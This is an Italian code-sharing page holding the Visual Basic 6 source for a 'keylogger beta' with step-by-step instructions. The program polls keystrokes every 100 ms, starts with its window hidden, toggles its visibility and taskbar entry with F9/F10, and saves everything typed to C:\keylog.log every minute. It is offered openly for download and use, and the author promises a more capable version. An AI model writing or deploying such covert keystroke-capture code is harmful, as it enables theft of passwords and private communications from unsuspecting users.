Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
Keylogger beta - keylogger beta - sorgente.txt

keylogger beta - sorgente.txt

Caricato da:
Scarica il programma completo

  1. in un modulo dichiarare la seguente funzione API e le seguenti costanti:
  2.  
  3. Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  4. Const KEYEVENTF_EXTENDEDKEY = &H1 'indica la pressione del tasto (keyDown)
  5. Const KEYEVENTF_KEYUP = &H2 'indica il rilascio del tasto premuto (keyUp)
  6.  
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14.  
  15. Per rendere il form invisibile all'avvio del programma, digitare il seguente codice
  16.  
  17. Private Sub Form_Load()
  18. Me.Visible = False
  19. App.TaskVisible = True
  20. Label1.Caption = ""
  21. End Sub
  22.  
  23.  
  24. Adesso in un timer che preferibilmente ogni 100 ms registra la pressione dei tasti , scrivere il seguente codice:
  25.  
  26. Private Sub Timer1_Timer()
  27.  
  28. If GetAsyncKeyState(vbKeyA) Then
  29.     Label1.Caption = Label1.Caption & "A"
  30. End If
  31. If GetAsyncKeyState(vbKeyB) Then
  32.    Label1.Caption = Label1.Caption & "B"
  33. End If
  34. If GetAsyncKeyState(vbKeyC) Then
  35.    Label1.Caption = Label1.Caption & "C"
  36. End If
  37.  
  38. If GetAsyncKeyState(vbKeyD) Then
  39.    Label1.Caption = Label1.Caption & "D"
  40.  End If
  41.  
  42. If GetAsyncKeyState(vbKeyE) Then
  43.    Label1.Caption = Label1.Caption & "E"
  44. End If
  45.  
  46. If GetAsyncKeyState(vbKeyF) Then
  47.    Label1.Caption = Label1.Caption & "F"
  48. End If
  49. If GetAsyncKeyState(vbKeyG) Then
  50.    Label1.Caption = Label1.Caption & "G"
  51. End If
  52. If GetAsyncKeyState(vbKeyH) Then
  53.    Label1.Caption = Label1.Caption & "H"
  54. End If
  55. If GetAsyncKeyState(vbKeyI) Then
  56.    Label1.Caption = Label1.Caption & "I"
  57. End If
  58. If GetAsyncKeyState(vbKeyJ) Then
  59.    Label1.Caption = Label1.Caption & "J"
  60. End If
  61. If GetAsyncKeyState(vbKeyK) Then
  62.    Label1.Caption = Label1.Caption & "K"
  63. End If
  64. If GetAsyncKeyState(vbKeyL) Then
  65.    Label1.Caption = Label1.Caption & "L"
  66. End If
  67. If GetAsyncKeyState(vbKeyM) Then
  68.    Label1.Caption = Label1.Caption & "M"
  69. End If
  70. If GetAsyncKeyState(vbKeyN) Then
  71.    Label1.Caption = Label1.Caption & "N"
  72. End If
  73. If GetAsyncKeyState(vbKeyO) Then
  74.    Label1.Caption = Label1.Caption & "O"
  75.  End If
  76. If GetAsyncKeyState(vbKeyP) Then
  77.    Label1.Caption = Label1.Caption & "P"
  78. End If
  79. If GetAsyncKeyState(vbKeyQ) Then
  80.    Label1.Caption = Label1.Caption & "Q"
  81.    End If
  82. If GetAsyncKeyState(vbKeyR) Then
  83.    Label1.Caption = Label1.Caption & "R"
  84.    End If
  85. If GetAsyncKeyState(vbKeyS) Then
  86.    Label1.Caption = Label1.Caption & "S"
  87.    End If
  88. If GetAsyncKeyState(vbKeyT) Then
  89.    Label1.Caption = Label1.Caption & "T"
  90.    End If
  91. If GetAsyncKeyState(vbKeyU) Then
  92.    Label1.Caption = Label1.Caption & "U"
  93.    End If
  94. If GetAsyncKeyState(vbKeyV) Then
  95.    Label1.Caption = Label1.Caption & "V"
  96.    End If
  97. If GetAsyncKeyState(vbKeyW) Then
  98.    Label1.Caption = Label1.Caption & "W"
  99.    End If
  100. If GetAsyncKeyState(vbKeyX) Then
  101.    Label1.Caption = Label1.Caption & "X"
  102.    End If
  103. If GetAsyncKeyState(vbKeyY) Then
  104.    Label1.Caption = Label1.Caption & "Y"
  105.    End If
  106. If GetAsyncKeyState(vbKeyZ) Then
  107.    Label1.Caption = Label1.Caption & "Z"
  108.    End If
  109. If GetAsyncKeyState(vbKey1) Then
  110.    Label1.Caption = Label1.Caption & "1"
  111.    End If
  112. If GetAsyncKeyState(vbKey2) Then
  113.    Label1.Caption = Label1.Caption & "2"
  114.    End If
  115. If GetAsyncKeyState(vbKey3) Then
  116.    Label1.Caption = Label1.Caption & "3"
  117.    End If
  118. If GetAsyncKeyState(vbKey4) Then
  119.    Label1.Caption = Label1.Caption & "4"
  120.    End If
  121. If GetAsyncKeyState(vbKey5) Then
  122.    Label1.Caption = Label1.Caption & "5"
  123.    End If
  124. If GetAsyncKeyState(vbKey6) Then
  125.    Label1.Caption = Label1.Caption & "6"
  126.    End If
  127. If GetAsyncKeyState(vbKey7) Then
  128.    Label1.Caption = Label1.Caption & "7"
  129.    End If
  130. If GetAsyncKeyState(vbKey8) Then
  131.    Label1.Caption = Label1.Caption & "8"
  132.    End If
  133. If GetAsyncKeyState(vbKey9) Then
  134.    Label1.Caption = Label1.Caption & "9"
  135.    End If
  136. If GetAsyncKeyState(vbKey0) Then
  137.    Label1.Caption = Label1.Caption & "0"
  138.    End If
  139. If GetAsyncKeyState(vbKeySpace) Then
  140.    Label1.Caption = Label1.Caption & " "
  141.    End If
  142. If GetAsyncKeyState(vbKeyNumpad0) Then
  143.    Label1.Caption = Label1.Caption & "0"
  144.    End If
  145. If GetAsyncKeyState(vbKeyNumpad1) Then
  146.    Label1.Caption = Label1.Caption & "1"
  147.    End If
  148. If GetAsyncKeyState(vbKeyNumpad2) Then
  149.    Label1.Caption = Label1.Caption & "2"
  150.    End If
  151. If GetAsyncKeyState(vbKeyNumpad3) Then
  152.    Label1.Caption = Label1.Caption & "3"
  153.    End If
  154. If GetAsyncKeyState(vbKeyNumpad4) Then
  155.    Label1.Caption = Label1.Caption & "4"
  156.    End If
  157. If GetAsyncKeyState(vbKeyNumpad5) Then
  158.    Label1.Caption = Label1.Caption & "5"
  159.    End If
  160. If GetAsyncKeyState(vbKeyNumpad6) Then
  161.    Label1.Caption = Label1.Caption & "6"
  162.    End If
  163. If GetAsyncKeyState(vbKeyNumpad7) Then
  164.    Label1.Caption = Label1.Caption & "7"
  165.    End If
  166. If GetAsyncKeyState(vbKeyNumpad8) Then
  167.    Label1.Caption = Label1.Caption & "8"
  168.    End If
  169. If GetAsyncKeyState(vbKeyNumpad9) Then
  170.    Label1.Caption = Label1.Caption & "9"
  171.    End If
  172. If GetAsyncKeyState(vbKeyF9) Then
  173.    Form1.Visible = True
  174.    App.TaskVisible = True
  175.    End If
  176. If GetAsyncKeyState(vbKeyF10) Then
  177.    Form1.Visible = False
  178.    App.TaskVisible = False
  179.    End If
  180. If GetAsyncKeyState(vbKeyReturn) Then
  181.    Label1.Caption = Label1.Caption & "___"
  182.    End If
  183. If GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey1) Then
  184.    Label1.Caption = Label1.Caption & "!"
  185.    End If
  186.  
  187.    End Sub
  188.  
  189.  
  190.  
  191.  
  192. In questo modo in un label1.caption verrà registrato tutto ciò che voi avete premuto.  
  193.  
  194.  
  195. Adesso in un altro timer di intervallo preferibilmente 1 minuto, scrivere:
  196.  
  197.  
  198. Private Sub Timer2_Timer()
  199.  
  200. Dim cartella As String, documento As String, FileNumber As Integer
  201.  
  202. cartella = "C:\"
  203. documento = "C:\keylog.log"
  204. FileNumber = FreeFile ' restituisce un numero identificativo per il file da aprire
  205.  
  206. Open documento For Output As #FileNumber ' Crea un nome di file e se già esiste lo sovrascrive
  207.  
  208. testo = Label1.Caption  'assegna alla variabile il contenuto della textbox che contiene il testo
  209.  
  210. Print #FileNumber, testo ' Scrive il testo nel file
  211.  
  212. Close #FileNumber ' Chiude il file.
  213.  
  214. End Sub
  215.  
  216. In questo modo ogni minuto verrà salvato nella cartella "C:\" un file di testo contenente le informazioni ottenute. Il file si chiamerà keylog.log
  217.  
  218.  
  219. Ciao e alla prossima!
  220.  
  221.  
  222. Nota Bene: questo esempio mostra come captare solamente lettere, numeri e numeri del tastierino numerico. Nel label vengono registrate in maiuscolo, ma a presto pubblicherò la versione beta 2 che sarà sensibile al caps e registrerà anche alcuni simboli alfanumerici
  223.  
  224.  
  225. SuperTiz